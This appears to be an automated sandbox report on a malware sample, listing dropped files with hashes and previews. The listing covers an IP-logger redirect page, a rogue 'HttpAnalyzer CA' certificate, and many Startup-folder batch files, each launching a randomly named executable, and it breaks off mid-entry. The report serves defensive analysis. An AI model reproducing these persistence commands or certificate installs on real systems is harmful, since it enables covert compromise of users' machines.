Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

C:\Users\user\AppData\Local\xKfa5BEne98Q6CDxSSuxDfob.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (414)
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	4.594861019789154
Encrypted:	false
SSDEEP:	48:Qb2nvbGa6TDZzmQiNqcBkVEfriDe1lLfifMMT+CXDuHX3c:w2bGRTihhL6HXYc
MD5:	0769572513C30B28FDE9AF98E9B13949
SHA1:	41FB473DC320358B93B7221FABED7CA31669A302
SHA-256:	F8F445EF6E8E3BF02685B83840F74B80FE01706080BE9613A78AC00A768B0505
SHA-512:	8F41634995BCF5B16265BBD38B3027EFA578CB2B1DB18F489E0829FE858D8D9DABB661C6D43C6112E7207CF984CEC4AE61513026AD5CEC1E9F5E2E1EFCC16217
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr">.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. CSRF Token -->. <meta name="csrf-token" content="jYgOIngVfFmRJ6V6tU8oFQ1JEeyUog6pPo2mv5jN">.. <title>Link disabled</title>.. <meta name="robots" content="noindex">.. <link href="https://shortiny.com/uploads/brand/favicon.png" rel="icon">.. Scripts -->. <script src="https://shortiny.com/js/app.js" defer></script>.. Styles -->. <link href="https://shortiny.com/css/app.css" rel="stylesheet" data-theme-light="https://shortiny.com/css/app.css" data-theme-dark="https://shortiny.com/css/app.dark.css" data-theme-target="href">.. . <style>. @import url("https://rsms.me/inter/inter.css");. </style>. </head>. <body class="d-flex flex-column">. <div class="bg-base-1 d-flex align-items-center flex-fill">. <div class="cont

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\D8C5E4A16C2BEA0E36BAA2D018275111FF62FD09

Process:	C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.387752072368675
Encrypted:	false
SSDEEP:	24:Z6hR2MTR2d7NVM+uAR2CP0M9BHMvf9SJbsb:Z6WH1N2DAR2CP02xVg
MD5:	1C3527F8FE5A24623BDD6AD96BF602FD
SHA1:	BC988AD300CA4D581A7056BF8C342377D72D7C73
SHA-256:	308DE7DA302D3ECF499B6C140B11FB3D9DB0D3B9515D8FA3DD0CE4A65659266C
SHA-512:	5C54B19308985ED63EE59CDA2260B8651A27A79C2864DEBD349092FBACC15AD9D3DF309DBD3699684EBBC2751A8D5A6D8AC4E723C983A6272AE756AC58358D83
Malicious:	false
Reputation:	unknown
Preview:	...............l+..6....'Q..b.. ...........0...0...............@5..?W...6.0....H........0'1.0...U....EN1.0...U....HttpAnalyzer CA0...140520025318Z..340515025318Z0'1.0...U....EN1.0...U....HttpAnalyzer CA0.."0....H.............0............q.EN....a.k.,:..H.L.d1".{q.a..Z$^l3'..\....!..4.9..M..d....3V11,.p...&Q1.^T.c/Q..d.p%...7..rX0...W@...`.{l..\|...2r......'X..o.8....B...7.k.K.R.I.7..\SL..u.C.(..,.9..sFK.....s....}[...........w.s...&qrr9.....I..Q......a\|..,.j.....u.!........#0!0...U.......0....0...U...........0....H.................p$.8.u.....:..0.B...F-.!..v.k.......>..)(..L...n..Vs.......Q,?...hE....c.._..W;.U"..b8.Y.!...5..^O....J.:.....{..Ge..^..Z.:?.....!~..0[rb.._4.......+..9QE..b.Z.X.hm....\.ZF.Fa..3sQ.Y...Xed......S.q.. 's....g........71<y..H,*.M1e~.<...x..".j..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Mar 11 01:31:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.974904253270341
Encrypted:	false
SSDEEP:	48:8FzdOTqu4WHoZidAKZdA19ehwiZUklqehGfy+3:8qnirhfy
MD5:	CD33C81F268577EAB891800D36DC06BC
SHA1:	71661EF3B39CD5668B45578C95517A2B1CEC8BB7
SHA-256:	9EE953E8A817C5F6B291E69F792A50E5B07135AC611DD8CE3477A816D4E073BB
SHA-512:	3EAD56604A5CFA77A2C24C2C6E386D85553538005770238E046A0ED6956D339F0C70B40F48654283D0A75797FBE7EA3D6C52BF6835EA417C0DEE3D268DC4C6D0
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......A\s..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkX......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkX......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkX......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkX............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkX.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............)......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Mar 11 01:31:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9903311544318245
Encrypted:	false
SSDEEP:	48:8FgdOTqu4WHoZidAKZdA1weh/iZUkAQkqehRfy+2:8bniZ9QEfy
MD5:	261A6C8C507E64ABA04807BA86F96683
SHA1:	E41C882E7E521636852075FD3FC13BD819F38B5A
SHA-256:	E37FFF0DD103B6FD2AE453B3AF7E8025B38B7345CF26018DF45A4CC6E4CE674B
SHA-512:	6981B64ABA3EC413AB4E70F10985EDF2188C447047ACAF53EBC438EBC68A14FBC76ED80291E3D1CEC2A821135E838B9158D9E4E8C889030066725CE656BEAB83
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....{.A\s..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkX......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkX......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkX......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkX............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkX.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............)......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.002974700483056
Encrypted:	false
SSDEEP:	48:8xvdOTqusHoZidAKZdA14tseh7sFiZUkmgqeh7sHfy+BX:8xYnzpnVfy
MD5:	59928CD1D70E881CBB995C6DFF112FC1
SHA1:	9B5F9359E224C226F731738ACD8F9BE2CD6C1D60
SHA-256:	1B9F53CEC89416EADDE55F6E4C6BE9F18A46F35DF6AD8E85F985EF9B995FF8BA
SHA-512:	B4AC119884C5F7BE15E1A3E78D9E98023A4FBB94030894940045A4680CC05235AB1CF7E51C81A6C176AE51DFBAED9E76776C7D4DA6523A9C8A73905C58C3C782
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkX......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkX......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkX......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkX............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............)......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Mar 11 01:31:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9861106146128624
Encrypted:	false
SSDEEP:	48:8RgdOTqu4WHoZidAKZdA1vehDiZUkwqehdfy+R:8fni6Pfy
MD5:	806C6C063F08569BBA643F55AC0BEB22
SHA1:	D41AC9076961CF03AFA955B89728937758221C0D
SHA-256:	5E9C8B6CAE6AEC017C079DF78E7DFE2F0985986EE57966FB725E5758C35775EB
SHA-512:	D4FFBF9422BFD81963E7B0A9F7C1832DA88CF54DAE37B8F032EC3559BB81226F7E8CB931F74C23E9EA798B71A6FDA91579EF5F144278BE435CC20686CF5EF3EF
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......A\s..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkX......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkX......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkX......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkX............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkX.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............)......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Mar 11 01:31:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.977222736777172
Encrypted:	false
SSDEEP:	48:8zdOTqu4WHoZidAKZdA1hehBiZUk1W1qeh7fy+C:80ni69bfy
MD5:	6AC7FAD0B4D1543DE3DD85CB7ED002EB
SHA1:	FD9E81E9D37D8231382921800AE0C6CAB3182EFA
SHA-256:	60DA427031504A04AD3B5D314609ED3E713CAD59675E11FECB19CFFB78146C06
SHA-512:	A6D4F3604FA880EB7661C79F34D0C76F8505882283513FD6F759FCFCD6BD782A091A2E262E4A92B9EFFA8E76087329A225F3C3F158043145E42EFA960122725C
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......A\s..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkX......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkX......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkX......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkX............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkX.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............)......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Mar 11 01:31:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9871905493238455
Encrypted:	false
SSDEEP:	48:8ydOTqu4WHoZidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbVfy+yT+:87niET/TbxWOvTbVfy7T
MD5:	C8F3BFE51A4E5E75593C9CDC6A488385
SHA1:	AC6128D9ADAFEA7A79ACE93855F1583E4D6B0529
SHA-256:	72E467CC5D7F477C465606D731AB68039C61C0693A8EFD2AE5592CDDE21BD06D
SHA-512:	ACFCE293F7D66AE2689466D4E0F19684B86619F609F9EA50F350B18680BD84A5FC57199330DB64CB21048E27D03C72F120BD7E871A419A012E3D42D4D5E020ED
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....7..A\s..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkX......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkX......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkX......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkX............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkX.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............)......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\11FhgNaI9OC9CIBuozAEgUpl.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.88794225995095
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J52LIjCwZAdiF:fE19232LmCwZv
MD5:	A10A0D11E994C44C25769D9B494C0070
SHA1:	F27D20433BAB6A4F38FC47D503D465AF82E7010C
SHA-256:	D57E767DA8582E0FF5A3EBB14BCBFB8EAA6560530DE24D8FB577A13B4B767540
SHA-512:	F8E88D2A9CE295357BF7E5B42ACBFE542832ABD43270F6099AEF9B1FDC599F13F64CD6AC50D788EB1265701B23E58D82661F0ADF57DC08C0A36CC8574D5066D5
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\SNzmN8HQUSehVCgProaZjQEN.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\26fF1twXUUy7jGhqLx9vrwoW.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	5.029372753235096
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5RdsJOy0EFn:fE19237spF
MD5:	2D8804E924622EA8B5824938238D2EDE
SHA1:	EFF0A3494E2E65FCFDE2074F0EFB97F14EB8A2AC
SHA-256:	F9F7124498BDD59F7EBF2AB1501E9A5AA0B9264402934F9DD0E33597E904DE89
SHA-512:	3626DB11529C964BC0844F96E60193E3A7C49F68F8F40AAF5CCB742328C4FC47235D40B7A512A4BC78FE442C2EC1060F5A95680F9E0188CA57FF5583EBDE1181
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\4xb6JU3I8UdzuT7ogqFnBL7Y.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5MU2eoXrXWjMqtCDgcUdxEXh.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.920663603600284
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5dnwcH5LWAEFn:fE1923lNhHs
MD5:	8C1D378D08D4F087E53C1D4F869197E1
SHA1:	CDAC5F362DFFF804E65C48DC5C2FB826CA9005A7
SHA-256:	A577769FC66D6BD2A0E163BE28CBD8E5C0198CBF4CF078692A8CB1B265F7D4B3
SHA-512:	760C2ED1DE41D1F7170B9294757A935EF63D43844EB18DA46226D84EF514356E574079688F45A0C00C0EA33EFD90AB90405F8AE938AB96392C25E10966464097
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\xBWhJ9fAo9Iu3r2QPWYsNC0n.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5wXkSqn4DIUtGScxeGbdZDl0.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.9028762822026195
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5SCR/QKhUhI/VIdX3w:fE1923SCZfQI/gg
MD5:	60E2BFEDE43B6A11CE8E0C4E43976232
SHA1:	7A8114AE9988E4E04F05E73B76C23FF1202ABAA4
SHA-256:	3FFA9EDFD3E3344FA41A37248F3770AE13BDD4AD436D4A9589E40D0B3024EF35
SHA-512:	37EACF02402BC4C1A165C2031A12AD36BB59552F158D5E90A1AA43EBCDA9BEB7DFCF1B31C9F4196B30A0C9BB348E26E571E103F6C648C1E139AE1AE27D4A46CE
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\wgtZ5oDAxtz8XmZjy9Pg8rRQ.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6V1VrzZlnckbDLDx3vI2CQTI.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	5.013012081410429
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5wzpZ1Tgqrv:fE1923wFvg6
MD5:	2F6FA4793B0C51CD1F43B0EDC9D4EA1E
SHA1:	34BC6948E20B9442B998762885AD7001E363169B
SHA-256:	8258365971079D7FFA1FA5A94E79A8BC64108C562EF745A6E888713C5CC05CA3
SHA-512:	37AB76CAE534EFCE18DC5123E3EB4DC482917EDCDC101167B81C63FF1F8BE0CE380D43422E608D4E7C952A68089EAC0F0E0A00E1120B5D299D5C4506E36631DD
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\UVLurWz0zwkQqd3HayB6HEY3.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6gL1gG7ldW7PoVRDY8vKo5tc.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.993798110439766
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5L3UHcXG8gwACHF:fE1923zycACl
MD5:	2358ED0B660EF332BC83670D137AF8F7
SHA1:	47E2857284252A40CBF8180B1BBA415C32CCAB80
SHA-256:	4FF861E91B6BE05BB2FEB47A3DDF3AFA2DA473BD0D67C8C9E787EA40F41C82E1
SHA-512:	7178D0FCF2548BFA0E101DBCD1E3B53717D7B5A2C8AA7B79BB17D2608CE9BE53C68C66F9ABCD42C674E37B41B452A393A0999E6B1F17DD55EBDFD6E729FB2AF4
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\nPQO8Z9byTKoW0YecEtJrQN4.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7brphmKFPcG9dvFk5ljwDtYq.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.972229896092237
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J52mxow3jLVF:fE19232mek
MD5:	6ED719A867D397937466F891DAE00C8F
SHA1:	3D46B442537A0B41697BDCC262C2DD9EA62D9348
SHA-256:	7C45B4F20C0AFE1AA2B6ECDBA77719A1CE7DA624E4448AF685B26E5AFF9478C9
SHA-512:	EB84D8C2D86F04D5D0EB71B734E9C567827EF8FB860895CEA8F7E9D12EF07BC3794E5ED53AA4A89D722C2DCE1F09ED3AB7FF64173C2BB03A38C02838B2D829BC
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\S5LR4MxNYkipKICUEWwDRrcX.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7lSYLKWCafZpx18kXQ49864p.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.746880788794847
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5xJd6souo5sNHFn:fE1923PAs7oI
MD5:	F90E4ECA9FC17DFB86F41EF9A3971CB6
SHA1:	2F40BE759CA018F7011B6A2687D92C191D7D06D7
SHA-256:	48722499CE4B105B0343F2B186404EEF8D2C195382F493EB8C936E7283EF6470
SHA-512:	E2E0AF9D85AD340CA2FD51B3132A6E038F30E2039F18FDB0080923EA057CD5D7F486BFA6CF147F8EE8B36CAB870DBCF2D2DA5AEF56AC78E6F65A64D5439CD9C8
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\Tll62OaP8oVLTcLcTrzOXqGl.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\C7JK1QLd1HhpC2iu6FzaXx9e.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.7576648959686105
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5NAWdjQFIOsn:fE19238qx
MD5:	12A3AC01C482E3CD920ACBA9E23963DE
SHA1:	B1A51E4C85DC2F6F8A73698760B97310D951789B
SHA-256:	D13191AC44DDCBCF8198F66DA448CF5DE49E3319C22A94B5B890979566328E9E
SHA-512:	839B1F92D347BAAFDFF1B8417F5DC484596AFA113D2F480EA4DC1B2F14DE268905449B82D402AEA1219C6E6FB4D8EF891EFD08BA65EC655296D88692717D84DA
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\heli0xf9eUcd5qaTU2WhBrox.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CtKTLlY2LhR3aGX0PpowiHev.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.857944181806523
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J53IxWIARDJACln:fE1923YQIARDJNl
MD5:	9396D70D3F00B7C991AE4B13827627D8
SHA1:	55A903F3129C442296D44849F2133DDD3DA3BCB3
SHA-256:	7F5A5D142F4BB122DB7CEEC98CC20491FE8212B82F23887CBFDAAF747BF0A743
SHA-512:	0B110304096268C7B4F6861310F0229FC015A52953C3EFEFBB587445CEEDD99D8963DE7C35E355ACAA63A014010AEC3472D039A88E09E0E0C8FF2CCC4065A73E
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\RLHqIpTNCBsmKjKBdfgpamFx.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EQSWALPGSJbmdhZ5UXJP52TV.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.953015925121575
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J52UkKWsUQ4iF:fE19232lKZF
MD5:	E56F0A0DAA05A9EB23D9BC12556527BD
SHA1:	8118BDD2CB64469A3B68A3CC8E9424A1FF72F8BF
SHA-256:	943FC6E8BF4B027BD6B8A5CC707234F130FBA9B8ECF75F0FFEBE195020C9C0F7
SHA-512:	81F1471625C8908273A12DBA6690DCF21A3B98D61A4B96175021E4DBEBC45BCF1E41FC305B78D1E3576D8B74A5954457D3102F8894BF2691ED984AC44D6EEABE
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\SNePs0JIjHDOAKzI11CQ043K.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\F4MKwilBLbDn1AvI4NJYim3J.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
